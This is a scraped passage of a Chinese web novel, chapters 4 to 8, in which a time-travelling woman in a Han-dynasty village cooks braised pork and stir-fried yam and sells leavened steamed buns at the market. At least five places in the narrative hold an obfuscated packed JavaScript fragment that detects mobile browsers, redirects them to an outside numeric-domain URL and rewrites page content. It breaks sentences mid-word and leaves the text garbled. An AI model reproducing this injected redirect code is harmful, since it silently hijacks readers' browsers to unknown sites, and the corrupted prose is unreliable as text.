把一节竹筒在边沿破开，加舂淘好的米和水进去，再把破开的那小半合上，用湿水的黄泥封口，放在火堆里焖。 至于那焯好的肉，也无需炒糖色，码进釜底，加些酱，再倒进那升酒，陶盖一合，就开始煨。 俗话说紧火粥，慢火肉，这道肉的火候很关键，要文火慢煨。 烧柴火灶是门讲究，上辈子老太太还在一楼装修了一个古朴的柴火灶，关于添柴抽柴，季胥自小也是被骂过许多才练出来的。 这次季珠再要帮忙来烧火，季胥就没让了，让她去玩瓦狗。 季珠哪舍得走，就把瓦狗拿来在灶屋玩，边闻肉香。 季胥观望着火，抽空把那块脂给切成片状，待会炼猪油用。 再去砍了两节竹筒，一节对半破开，家里就三个豁口碗，没有盘盏，待会拿来盛菜用。 此时竹筒壁上往外析水，飘起股混着竹香的米香，别有滋味。 釜里还在煨肉，期间也不去揭盖让其走油失味，待到小小一间灶屋，因醇酒的焦化反应，肉香愈发浓郁时，她估算时间正好，才把陶盖拿开。 只见釜底红如琥珀，晶莹透亮的肉，在些微汤汁的咕嘟中，微微摇颤，极其诱人。 这一口咬下去，连上头瘦肉都软融香浓。 灶旁的季珠深深吸气，生怕这香味跑了，要把香味也吃进肚里去！ 隔壁院睡懒觉的季元噌的跑出来，心想这大中午，不年不节的，谁家煮这么香的肉呢！ 张望一圈，竟是二房灶屋的窗子飘出些炊烟。 不可能，都穷得吃糠咽菜，哪里吃得起肉去，连她家也年节才沾一次荤。 这肉怎的这么香呢，从来没闻过本固里哪户人能把肉煮的这么香。 季元咽着口水，就听见外面的嚎叫。 “虎孩要吃香肉！” “虎孩想吃肉呜呜呜哇哇哇哇啊啊啊啊啊！” 原来是金氏光在瓦狗小贩骂架，柰果也没卖出去，眼看乡市到晌午没什么人，挑着筐就回来了，谁知路过二房，季虎孩的狗鼻子嗅着肉味，嘬着手指就要往人家灶屋去凑、去觑。 金氏可知道季胥家今个买了肉的。 想她金翠茹和田桂女叫板十余年，互相看不对眼，论起来，最后当然是她靠生男丁分家，狠狠压了田桂女一头，这两三年那田桂女也没了往日的精气神，老老实实的，没余力再和她吵。 她金翠茹的日子，始终都比隔壁房要好，可丢不起这人。 忙扯住季虎孩，就往家带。 季虎孩在乡市滚了一上午，身上全是黄土，被他阿母扯着，还在叫喊想肉吃。 张手想往二房扑去， “肉……” “你个讨吃的小鬾鬼！” “肉……” “肉肉肉，你阿翁脚后跟有块死肉，等他回来尽管照着啃！”金氏被他这副讨吃相气死了，连拉带拽进的院门。 季元嫌丢人紧忙跑回东屋。 季胥没去在意隔壁的吵嚷，已经在炒苋菜了，猪油还没熬，于是拿起几块片好的脂，现煸出油。 呲啦啦。 大火热油翻炒着，这陶釜到底不比后世的铁锅，热得慢，温度也不够高，日后有钱得去置办口铁釜，季胥想着。 不过这哪怕用陶釜，有荤油炒出来，也比清水烩的要有食欲。 饭菜妥当，季胥拿节竹筒装好饭，上面码上晶莹红润的肉，清爽的绿叶菜，再盖上，拿草绳捆好。 “去吧，趁热与二姊送去。” 她在家熬猪油，灶膛有火，能温着菜，等季珠回来一块吃。 “好！”季珠兴致冲冲跑去了。 砌的青砖墙，盖的瓦，绘着“马甲天下”的瓦当，一进的院子，在稻田边比旁的都气派的一家，便是冯大家。 离得也不远，季珠跑上一段距离，就能瞧见那座房子。 她从院边绕去冯家后山。 “啰啰……哦啰哦啰……” 季凤喂完最后点猪草，用山泉洗干净手，才珍之又珍捧着竹筒坐在柴禾堆上，冯大家许她在牧猪的空档捡些柴禾回去烧，这是她今个捡的。 盖子一开，是那颤巍巍的肉，肉汁浸在米饭里，本就饥空的肚子一下叫出声。 咬上一口肉，眼睛一亮，那软烂微甜，肉香四溢，差点连舌头吞掉。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300264|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二凤，你在吃什么？怎的这么好的香，也饶我一块。” 来人是王利，十岁左右的模样，拿着空心草做的小罐，里面传出蛐蛐叫。 后头六岁的冯兴霸穿着细布衣裳，同样拿着蛐蛐罐，嗅到那香味，也跟着走来。 “不成。”这王利是王麻子的儿，王麻子偷过她阿母种的胡瓜，背地里嘴巴还不干净。 “我拿蛐蛐儿与你换。”王利说。 “我要你这顽物做甚，不换不换。”季凤不忘扒饭，这吃惯的野苋菜也好吃，说不上来的滋味，也不知阿姊是如何做的。 王利馋得不行，哼道：“我还不稀的吃，谁知道你这肉是不是偷的冯家的！” “你个舌头生疮的褓人竖子，”说到偷季凤就来气，“好意思说偷？先回去问问你阿翁，干过多少偷鸡摸狗的事儿！也不怕吃了我家的胡瓜拉痢疾！” “哼，你胆敢说说，你来抓蛐蛐为的是什么？”说完扫了眼王利鼓囊囊的袋口。 冯家后山种了许多果树。 王利捂着袖口袋涨红了脸，扭头跑下山了。 剩冯兴霸还在直勾勾盯着她竹碗里的肉。 跟家里做的肉完全不一样，特别香，他直咽口水。 可是小孩们都知道季凤像她阿母，看着老实，其实特别能骂仗掐架。 冯兴霸见她把王利骂跑，自己也想跑，可他馋啊。 “你也想吃？”季凤问。 冯兴霸点点头，眼珠子快掉进她碗里。 季凤想到他大母徐媪给自己盛过一碗白米饭，夹了一块肉给他。 冯兴霸咬了一口，紧接整块塞进嘴里，连手指也舔了一遍。 意犹未尽。 “二凤姊，我拿大薯与你换，行不行？”冯兴霸还想吃。 大薯？季凤知道他家田地多，光大薯就种了五六亩，这时节冯家大小口都齐上阵在挖大薯。 大薯能做羹菜，带回去给阿姊和妹妹吃个新鲜也好。 “行。” 冯兴霸立马跑回去，抱了个新鲜带泥的大薯，他阿翁冯大在后头喊：“拿大薯去做甚？” “跟二凤姊换肉吃！” 冯大听了也稀奇，家里山头养着豕，又不缺肉吃，怎的馋成这样？ 冯兴霸怕季凤把肉吃完了，跑得飞快，敦实的小身板气都喘不匀了。 实际上肉太好吃，季凤尝完一块都没舍得吃，先吃的沾肉汁的饭和苋菜，想把肉留到最后享用，数了数，还剩五块。 她夹了块给冯兴霸。 看了看地上那硕大的大薯，想了想，又夹了块给他。 这肉软烂，冯兴霸也不用嚼，吃得极快，满嘴流油。 “好了，剩下三块我要自己吃了。” “二凤姊，这肉叫何名？”冯兴霸想好了，回去就缠他大母煮与他吃。 肉菜的名儿季珠来给自己送饭时曾说过，她原样说： “红煨肉。” 5. 第 5 章 话说徐媪听孙子说要吃红煨肉，不就是煨肉么？ 这有何难，肉剁块，加水进去煨便是了，当日吃晡食她就把这道肉端上食案。 冯兴霸一看那白惨惨的肉块就扁嘴。 一尝果然，又腥又柴，“呸呸呸”，吐出来。 “大母，这不是红煨肉。” 吃不到想吃的，他筷子一丢，这就要哭闹。 还是十四岁的冯富贞使劲揪这幼弟一把胳膊肉，他才一副要哭不敢哭的模样，老实吃些白米饭去。 “你今个是不是又把王利带去后山了？” 食后，冯富贞这做阿姊的盘问他。 “阿利兄带我捉蛐蛐儿。” 冯兴霸拿出床底下的蛐蛐罐，里头蛐蛐叫得正欢。 冯富贞哼的一声，“他瞄准咱家果子熟了才日日来的，先时哪带你顽。” 另边。 两间带院的茅草屋，院里养的鸡，被疯跑过的人惊得振翅。 “阿翁，你再别叫我去与冯兴霸顽了。” 跑回家的王利涨红着张脸，冲王麻子嚷道。 在榻上跷脚歇晌的王麻子，听见声音坐起来，把小儿袖袋的沙果都掏出来，咬一口酸倒牙， “怎的摘些沙果回来？你该摘些枣儿啊栗的回来，那贵的才好吃。” “要摘你自己去，二凤都看出来了。”王利臊得面上火热，越发生气。 “我一个大人怎的去，你是小男就不打紧了，陪他家冯兴霸顽，累了渴了摘他几个果来吃怎么不行？干她季二凤甚事？她拦你不许你摘了？” “……没有。” 王利想起这些秋日，季凤牧猪有时看到自己摘果都不干己事的模样，从没搭过一句嘴。 他哪好说是今天自己污她那肉是偷来的，她才拿话臊他。 憋了半天，嘀咕出句没有，便大动静去榻上，背朝外面一躺。 “我日后再不去了，要偷胡瓜还是枣儿栗的，你自己去偷。 只一点，当心再被拿住，被人撕打一路。” “你个毛没齐全的小鬾鬼！编排起你爷来了！” 王麻子要拿帚教训他，被其妻曹氏进来拦住，她手里还抱着小女王绵。 “你也别总让孩干些偷鸡摸狗的事，孩大了都能辨是非了，没的被人背后说闲话叫抬不起头。” “何人说闲话？谁人不知冯家后山果树多，春日竹多笋多，要不挣抢着去干牧猪的活儿？ 她季家二凤怕是连吃带拿回家都不知有多少了！要么能吃得起肉呢，定是卖果儿来的钱！” 王麻子午后也闻着了那股子肉味，那香啊。 他那肚子不知哀鸣过多少回。 日入时，季凤背着捆柴，提着一只大薯归家来。 季胥正在院里扫木屑，昨日扛回来的粗柴下午都劈好放在屋檐下了，屋前显得空旷起来。 “阿姊，你做的肉真香，连冯兴霸都馋得不行。 你瞧，我与他些肉吃，得了个大薯，晡食要不要做薯羹？” 所谓薯羹，就是把薯切块加水煮，再加些盐，吃起来木肤肤没什么滋味，但能果腹。 “做道油渣炒片薯吧，鲜脆爽口又下饭。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300265|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >炒？季凤觉得新奇，想着这应该也是阿姊在长安宫城里学的，就像她说过的竹甑一样。 庖厨之方她只知炙、炮、脍、熬、蒸、烩、炖、羹、煎、炸。像炙、炮和脍用在肉类比较多，她听说冯大家会吃羊心炙、鱼脍，乡里祭祀的时候也能见到炮制的豕肉。 家里还是用烩和羹比较多，这些加水就行；像煎和炸太费油，也吃不起去，就年节会煎炸几道吃食打牙祭。 “炒”又是什么？她跟前去看。 只见季胥先把大薯洗净削皮，薯肉切成薄片，片状的薯呈现出一种鲜嫩的紫色。 釜里热油，加些中午炼油得的油渣，再撒上一把下午在牛脾山找的野椒，鲜辣一下激发，大薯一倒，迅速翻炒，最后酱和盐调味，盛在破开的竹篼节里。 一盘看上去鲜紫晶亮，让人垂涎欲滴的油渣炒片薯就做好了。 配上事先焖好放在灶面温着的米饭。 一口菜，鲜辣脆爽，偶尔吃到酥香的油渣，别提多下饭。 季凤和季珠吃得额头上都有些冒热汗，可那是极其畅快的。 没什么比能吃饱饭更开心了。 “阿姊，我还是头回吃到这样好吃的大薯。”这大薯自家从前也种过，做薯羹就没有这样的滋味。 看来“炒”，真的不一般。 季珠更是吃得嗯嗯晃脑袋，肚子都鼓起来。 饭菜光盘，季胥也是心甜意足。 洗釜和碗筷的事，季凤主动包揽。 她收拾时，见那灶上放着只土陶盆，盖着麻布。 “阿姊，陶盆里是什么？” 6. 第 6 章 “溲面，放那做饼酵的，有了饼酵明早做蒸饼。” 为做饼酵，她把陶盆和麻布都开水消过毒，使的放温的开水溲面，就利用空气的酵母让其发酵，现在天气热，她是日中时分开始和的溲面，约莫明早就能自然发酵成饼酵。 “可不能去掀开。” 做饼酵无杂菌很重要。 季胥拿上锄头，准备趁太阳还没下山，再去牛脾山找些能用的东西。 “哎。”季凤蹲在檐下，用无患子洗器皿。 蒸饼她倒吃过，早年家里尚未分家，还算宽裕时，年节大母会买些麦子磨面，用水调和成溲面，来做蒸饼，很有嚼头的，不过得趁热吃，放凉就梆硬了。 但，饼酵是什么？十里八乡做蒸饼都没听过要饼酵的。 想到这，季凤对明朝的蒸饼满怀期待。 “头好痒痒。” 季珠也准备跟去山里捡松球，正要背筐时，搔着脑袋难受。 “定是头虱子在咬。”洗好器皿的季凤擦擦手，“二姊替你捉虱。” 虱子？ 季胥惊讶一瞬淡定下来。 也难怪季凤见怪不怪，时下生虱子常见，乡里各户多养家禽，禽类身上的虱子就容易到人身上。 再个烧水洗漱废柴，柴禾能卖钱，伐来又艰辛，都习惯省着用。 夏日还能用凉水凑合；寒冬才更是洗漱不易，那豪族大家尚且能洗汤浴，黔首细民没条件，像样的浴间也无，就拿她们家来说，洗漱还是在屋后垒的矮棚子，连挡风遮雨的草顶也无。 要么怎有“冬月坐庭中，向日解衣裘捕虱”的说法。 只见两姊妹一前一后的跪坐在檐下，季凤把季珠的丫髻绳解开，捉着一只虱就拿拇指甲盖一合一掐。 “这只肥，咬你不少血。”季凤的指甲盖都掐出血印子。 “痒痒……” “二姊先帮你捉，阿姊找点草回来烧水洗头，连天洗几遍能杀虮虱。”卫生清洁得重视。 季胥说完紧行脚步去牛脾山了。 其实不只季珠要洗，她和季凤也得洗，三人同床共枕，虱子定在三人脑袋都安了家了。 这会儿没痒只是没咬而已。 “我去捡松球。”季珠天天惦记捡松球。 “你留家里。” 尚未走远的季胥说道。 季凤便继续帮她捉。 捉完自己脑袋也痒，又换成季珠帮她捉。 “定是它们看我掐它亲族咬我呢。” 不过季珠小手好容易翻到一只，总是让它给跑了， “嗳哟，捉不住……” 季凤就去屋里拿来一把豁齿的竹篦子，自己站在屋前篦，篦出好些白白的虮子。 季胥要找的是一种叫天名精的草，昨日进山伐竹晃眼有印象。 如今扛着锄，就沿路找。 果真，让她找着，这草也好辨，多分枝，宽椭形的叶片，边缘有不规则的锯齿，上面还有短绒毛。也叫地菘，不仅能杀虫，还能清热化痰，敷淤止血。 她陆续挖到半筐，用不完的就晒干存着，以便不时之需。 遇到两株野椒和一小簇野葱，意外之喜，挖了放在筐里，准备带回去种。 正在摘野生的黄栀子时。 “金大妇这剐千刀的竟把毛竹全砍干净了， 怎的不把这山头搬到自家去！” 听见骂骂咧咧，季胥近了去看那丛毛竹，原有二十多株的，而今一棵竹子也不剩，山地只余些竹根，残留三两节竹篼节。 “想做根扁担都没的竹子！” 妇人挎着菜筐，筐里有些刚摘的瓜菜，里头还有一把柴刀，原要来砍竹做扁担的，空手回去了。 其实季胥也想来砍根竹的，虽说没有合适的竹来做竹甑了，但编两个自家用的挎篮，就砍那偏老的也不打紧。 见状，季胥背好筐篓下山，在河边摘了些柳条，这也能编挎篮，有挎篮明天才好卖蒸饼。 柳条还能拿来早晚嚼，当作牙刷。 西汉有青铜和猪鬃毛做的牙刷，不过十分罕见，她在乡市反正没见有卖牙刷的，乡里多用清水清洁，富裕的会买那竹盐。 上层社会有用香蒲和水苏做牙齿清洁的，还有规定，尚书郎奏事要含“鸡舌香”的。 竹盐和香料暂时用不起，但柳条随处可折。 季珠的头虱子，着实敲响了季胥卫生清洁的警钟。 她回家去就用天名精煮水，兑了凉，让季珠过来，在屋前给她洗头。 隔壁正在吵架。 是那砍竹空手而归的妇人赖氏寻来了，叉腰冲大房院子詈骂。 “金大妇好个硕鼠，真当那山头是你硕鼠一家的！ 快把竹子拿与我！否则我告到乡啬夫那，你独占乡里的竹！” 金氏伐半天竹正累呢，与她吵起来， “乡啬夫也没规定我能伐几根竹！我也是本固里的编户，怎就伐不得牛脾山的竹？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300266|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 去去去，你要做扁担自去别的山头找，来我家找伐好的，倒会轻省！” 二房这边，季胥分别给两个妹妹洗完头，把水提去浴间，季凤来给季珠搓澡。 季胥就在屋后，伴着隔壁骂仗声，在种那野椒和葱。 浴间没顶，季凤啧啧说：“阿姊！小珠身上得有两斤泥！” 轮到季凤时，季胥要替她搓，季凤忸怩，要自己搓。 “搓干净，尤其耳朵后面，胳膊腿的。”季胥叮嘱。 “知道，要搓到既不聚成水滴，也不成股落下。”季凤红着脸连连点头，一边重复她的话，一边把季胥推出浴间。 期间一桶水还不够，季胥又搬去陶釜欲给她倒温水，季凤让放在外面，要季胥远远的，才从草帘够出手来搬进去。 季胥种完椒和葱，又把家里外扫拭一遍，就一间屋，也不费时，再把那草席拿去井边冲洗，架到屋外晾一夜，今夜就凑合睡床板。 等季胥自己洗完头和澡，在屋里绞头发时，天也暗下来。 隔壁骂仗方歇，赖氏从大房扛着根竹走了，金氏在背后骂骂咧咧，嫌赖氏给她的那小把薤白太少。 “累我伐断削去竹枝扛回来，这赖妇就给这么点。”金氏剔着牙进了院子。 季元说：“阿母早该给她，吵成这样大声隔壁都知道我们伐竹想做竹甑了。” “哪能让那刁妇占你阿母我的便宜。” 想那田桂女在沔水翻了漕船，喂了鱼以来，还没谁能骂赢她金翠茹，从她手里讨着好。 不多时，金氏悄悄的，从衣箧里拿出个圆溜带盖的物件，借着亮起的火把，她手中之物，可不正是上午季胥在乡市卖出的竹甑。 不过她是不会买这，给二房送钱的，这乃是她从别人那借来琢磨的。 这晚，大房的松明亮了一夜，金氏眼下熬得雀青，也没能把竹甑照模照样做出来。 瞧着那横竖脉络简单，可破竹篾，就把金氏难住一整晚，她会用苇草编席子，原想着编竹甑她一琢磨准明白，真做起来，完全不是那回事…… 最后就粗略扎出五把竹扫帚，大女季元早在木榻上睡着了。 扫帚也行，她可见那胥女能将一把扫帚足足卖上五个钱。 况且牛脾山近处的竹都被她伐完了，她季胥还不知何时能找到无主的竹呢。 这钱合该大房来赚。 “止女。”她去隔壁屋拍醒自己的次女，“阿母交与你一个活儿。” 7. 第 7 章 因着大清洗一遍，隔壁草屋的三姊妹这晚睡得清爽香甜。 季胥听着鸡鸣醒来，她单穿着抱腹睡的，如今借着窗子微光，蹬上草鞋，轻手轻脚出了门。 摸了摸攀在檐下一根麻绳上晒的襦衣，这会已经干透了。 她就一身麻布衣裳，好在两个妹妹有两身补丁衣裳换着穿，是从前田氏在时给她们做的。 昨个在浴间顺手搓完三人的衣裳，还是季凤去屋前晒的，她就穿着抱腹和一条裤暂且躲进屋子，坛口窗子没糊，不过那时天也暗下来，外头不再有过路人。 如今她一把扯下衣裳，抱进屋子穿好。 嚼完柳枝，便去灶屋看她发的饼酵。 仔细净过手，方将麻布一掀。 只见陶盆内面团膨胀，紧贴着陶盆边缘不留缝隙，表面有些坑洼不平，撕开后里面还有些蜂窝状的气孔。 “阿姊，咦，不行，这溲面放坏了。 闻着发酸，吃了该拉痢疾。” 季凤顶着别家的鸡鸣也醒得早，揉着眼睛来灶屋，闻到那面团的酸味，皱着鼻头说。 “闻着酸味就说明这饼酵做成功了，要是闻着发臭就是沤坏了。” 这饼酵可以发挥酵母的作用，拿来发面，也就是后世常说的老面引子，不少人会存老面引子，做面食拿来用。季胥她奶奶作为厨师本就爱探索各种吃法也不例外，影响着季胥自小也爱尝试做各种美食。 北魏崔浩所著的《食经》里有记载用酸浆做饼酵法： “酸浆一升，煎取七升；用粳米一升著浆，迟下火，如做粥。” 不过即使到了北魏，发酵技术也仅掌握在少数士族手中，且发酵技术也不稳定。 但此时的汉朝，尚未出现发酵技术，像蒸饼、水引饼，之类的面食都是用的死面，不易消化，过量食用容易肠胃生病。 “这真能吃吗？不会得腹痛病吗？” 季凤不敢置信，在她的认知里，发酸的食物那是天气热放坏了。 “能吃的，做成蒸饼来吃，保管吃着松软香甜。” 季胥这就开始动手，她先将一半饼酵分开，放在一节干燥的竹筒里。 里头已经事先撒好面粉，这一半饼酵就放里面任其自然风干，日后用时拿温水冲泡开就行。 而盆里这半，她要用来和面。 和面之前，她先在灶膛里铲了点草木灰，添水在碗里兑化开，再拿麻布过滤一遍，盛在另个洁净的碗里备用。 季凤看得纳闷，那灰拿来做甚？这只能沤肥的草木灰又不能吃？ 可想到昨个才吃过的，见所未见的红煨肉，期待暂时盖过疑惑。 她定要看看，这酸坏的溲面，加一碗草木灰水，怎么能做出蒸饼？还是松软香甜的？ “阿姊，我能帮着做些什么？” 季凤是眼里有活的，奈何她实在悟不透季胥的下一步，便问道。 “帮我把灶膛里的火生起来吧，溲面要用温水。” 家里木桶老旧易渗漏，存不住水，因此要过夜的水都是直接存在陶釜里的，如今直接生火就行。 生火简单，季凤麻利照做。 火光映着她闻到那酸味皱着的脸蛋，同时又带着好奇。 只见季胥一双胳膊利索在和面，原本满是气孔的酸溲面，被她加入面粉后，揉得光滑雪白。 重点是，在加入草木灰水之后，那股酸味竟然消失了？ 季凤难以置信的再在空气里嗅了好几下，真的没有酸味了！ “阿姊，这可真怪。” 季胥解释道：“草木灰水正好调和了那股酸味。” 想了想，她又补了句，“这些膳食还是宫里一个老膳妇教我的。” 灶边添柴的季凤感怀道， “那膳妇可真是个大好人，等腊八祭祀，我定要求先炊婆婆保佑她灶火兴旺，一生福运。” “对了，阿姊，她姓甚名为何？” 这求先炊婆婆保佑要有名字，不然福运朝哪落去？ 季胥默了默，“季蕴。” 这是前世她奶奶的名字，她是个孤儿，是奶奶收养带大的，各自是彼此唯一的亲人，在办完奶奶葬礼后，她孤身一人，一度很恍惚，直到葬礼半个月后穿来这里，忙着填饱肚子、活下去。 不过，老太太无病无痛，寿终正寝，也算是一种福运圆满吧。 “同一姓？真是天大的缘分，五百年前许是一家呢。”季凤又复念几遍，记在心里。 说着话，季胥已经将面团分揉出好些胖剂子，码在两层竹甑里头，盖好做二次醒发。 揉面排气是个力气活，做完这些，她额头挂着薄汗。 不过蒸起来就轻松了，把双层的竹甑往陶釜上一架，底下大火，水汽带上来一股麦子的香气。 掐着点，盖子一揭，热雾散开，那白胖胖、圆鼓鼓的蒸饼便显现出来。 “我的姑舅大母……这哪是蒸饼？” 季凤干瞪着眼，蒸饼蒸出来不都是坑坑洼洼，皱皱巴巴？ “尝尝，”季胥被惹出笑意，趁热夹一个放碗里与她，“小心烫。” 一面继续把剩下的蒸饼往昨晚编好的挎篮里头拣去，竹甑不够，她把竹甑空出来还需再蒸两笼。 季凤捧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300267|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗，新奇到也不用筷子，就拿手指戳了戳那胖嘟嘟的蒸饼， “真是软的！” 她也不怕烫，嘴里被烫到哈出热气，眼睛却一亮，松软！ 细嚼嚼还甜滋滋的！ 这和她以前吃的那口感扎实的蒸饼可不一样。 季胥笑起来，怕她又要顶着滚烫咬上一口，便说： “放放凉，去把小珠叫起来，我们朝食就吃蒸饼。” 季凤这就去摇醒季珠，一面迅速给她扎小揪儿，一面道： “我同你说，阿姊做的那蒸饼，就像那……像那脂油一样光滑。 咬上一口，保管把你舌头都软化。” 季珠立时聚神，瞌睡全无， “像红煨肉一样好吃吗？” 季凤气力足，把她头发扎得紧紧贴头皮，她也顾不上哎哟。 只是脑袋随着一晃一晃，龇牙咧嘴的。 “那是不一样的好吃。”就这小会儿，季凤已经回味无数遍了。 朝食她们仨就围坐着陶灶吃蒸饼，旁边两个挎篮里装着要拿去卖的，上头覆着麻布。 “阿姊，这蒸饼比粔籹还好吃，定能好卖！” 和昨个令季凤心里直打鼓的竹甑不同，她打心底觉得这东西会受欢迎。 “小珠也觉得！” 然而，初到乡市上，却是不容乐观。 季胥因做蒸饼费时，来得比昨个晚些，因此乡市路旁已经没有散户的位置了。 这倒不打紧，她这两篮蒸饼轻便，挎在臂弯，沿街叫卖就行。 同样行走叫卖的还有那卖菹菜的小郎， “哎——菹菜来欸，瓠菹，菘菹……” “卖蒸饼……” 只是一听是蒸饼，都没有愿意上前询价的。 俱是摆手，“不要不要，蒸饼有甚好吃的！” 街边有支起小摊卖粔籹的妇人，生意倒是好。 “噢——粔籹，香甜酥脆的粔籹喂！” 她热火朝天吆喝，一面麻利的把秫米粉团搓成有禾草那么细，稍微一卷一拧。 再放进那加了些许猪油的釜底去煎，油煎到细缕金黄时，那酥香味吸引不少人驻足，买来打牙祭。 “甜吧？我家粔籹用的可是陇西天水的白蜜。” 马氏眉开眼笑夸耀，现在但凡加一丁点蜜的吃食都要夸自家用的是陇西天水的白蜜，谁让那产的蜜最名贵。 不过就算是普通的蜜，那也是稀罕物。 马氏心想，那蒸饼又没甚甜滋味，也就刚出甑子趁热能吃些果腹，凉了硬邦邦的，又是家家户户都会的手艺，谁会买？ 8. 第 8 章 大概是见自家的蒸饼无人问津，连有些含羞闷声，要时时黏着她的季珠也仰着脑袋，悄声问路人， “郎君，买个蒸饼吧？我阿姊做的可好吃了。” “不要不要。” 季胥见此景况，摸摸季珠的脑袋，给自己的蒸饼取了个新名字，白玉蒸饼。 重新叫卖起来， “白玉蒸饼，来欸！暄软白胖的白玉蒸饼。” 她沿街走着，叫卖不疾不徐，在吵嚷的乡市又足够让人听见这道清脆声音。 很快有个妇人好奇，“白玉蒸饼？没听过。” “我家白玉蒸饼不同别家，软和香甜，夫人可尝尝，觉着好吃再买。” 季胥说着，隔着那块洁净的麻布，撕了块与她尝。 妇人见她试吃给的大方，心里不禁熨贴。 接过时，心道，这蒸饼白如脂玉，难怪叫白玉蒸饼。 一尝，眼睛不禁一亮，从未吃过这样软的蒸饼！ 妇人衣裳还是细布的，也不是那缺衣少食的，这便说： “给我来五个！” 季胥的白玉蒸饼卖一钱一个，她这吃食没放蜜，纯靠面粉发酵后自带的甜味，因此卖价要低些。 像既加蜜又费猪油的粔籹要卖两钱一个，她这算是挣个新鲜手艺钱。 季胥为不用手直接触碰，特地带了双削好的新筷子来使，闻言便夹去五个到妇人篮子里头，收了五个钱。 继续叫卖着。 “白玉蒸饼，软乎乎甜滋滋，尝过再买。” 有了新名字，询问的人多起来。 “这白玉蒸饼不一般，捏起来还能回弹！”有人买后发出惊呼。 “不像自家做的，硬的能把陶釜砸碎！” “女娘，再给我来两个！”有那还没走出乡市就作回头客的。 季胥身边围着的人越来越多，她叫季珠牵紧她的衣角，又笑眯眯道： “万一哪位被踩伤反而不美，劳烦诸位排成列，一个一个来反而快些。” 众人虽是你挤我搡，到底排出条队。 “还是第一次吃着这么软和的面食。” “带回去给大母尝尝，她只有五颗牙，吃这也是能咬得动的。” 有些在队伍后头的，听见人家议论的，瞅着人家手里拿的，恨不能快些轮到自己。 有的孩童见状，也拽着大人来排队，“我也要吃白玉蒸饼！” 季胥两篮子蒸饼很快卖到所剩无几，到后面每人只能买一个了，不然没法兼顾这条队伍后头的人。 每卖一个她便报一下所剩数量，以免有人白费排队的功夫。 有些后来者数了下队伍人数，见排到自己也买不上的只能望而却步，心想，这暄软的白玉蒸饼到底是何滋味？ “邓郎，我问过了，明日乡市那小女娘还会来叫卖。” 得到这消息那驻足的才宽心离去。 “正好，还剩最后一个。” 只见队伍最后一个是季止，金氏的次女，她怀抱着四把竹扫帚，带些谄笑的脸从扫帚后头歪出来， “堂姊，是我。” “阿止？”季胥认出来。 原身记忆里，比起季元的高傲，季止是常带笑脸的那个，她今年十二，比季胥小三岁。 “反正就剩最后一个了，你就送与我吃了罢。”季止咽咽口水道。 “你若是饿就拿这半个去吃吧。” 是她拿来做试吃的，还剩半个，至于那个完整的，她还想做生意挣钱。 季止也不嫌，接来就啃，她被金氏使唤来卖扫帚，叫卖一早了，来时吃的稀饭，饿得紧。 一吃，眉眼一亮，连忙唤住季胥， “堂姊，最后那个我买！” 从怀里掏出个钱，她悄悄道：“我买白玉蒸饼的事，可不能告诉我阿母。” 季胥应下，她与金氏本就无话。 两斗面粉，她做了八十个蒸饼，除去三个拿来做试吃的，一共卖了七十七个钱。 比昨个多些，季胥想去买点菜籽来种，昨日就想买的，只是钱不凑手。 路边卖菜翁多，沿路叫卖不断。 她找见一家有卖菜籽的，老媪的手满是沟壑，在往些新鲜瓜菜上浇水。 “阿婆，您这都是些什么菜籽？” 老媪是哑人，不会叫卖，生意寡淡，见人问，忙掀开她的布袋子，每指一下菜籽，就指一下地上对应的育出来的一株菜秧。 依次是菘菜籽、芹菜籽、芦菔籽、芸苔籽，应该是自家去年存的籽，这时节都能种。 季胥各要了些，老媪帮她拿叶片包好，要价也实在，五钱。 付钱之际，见她这竟然有卖蒜头，又问： “阿婆，蒜是什么价？” 老媪那口袋子里估摸有三斤，蒜瓣肥大，形状饱满，不管是吃是种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 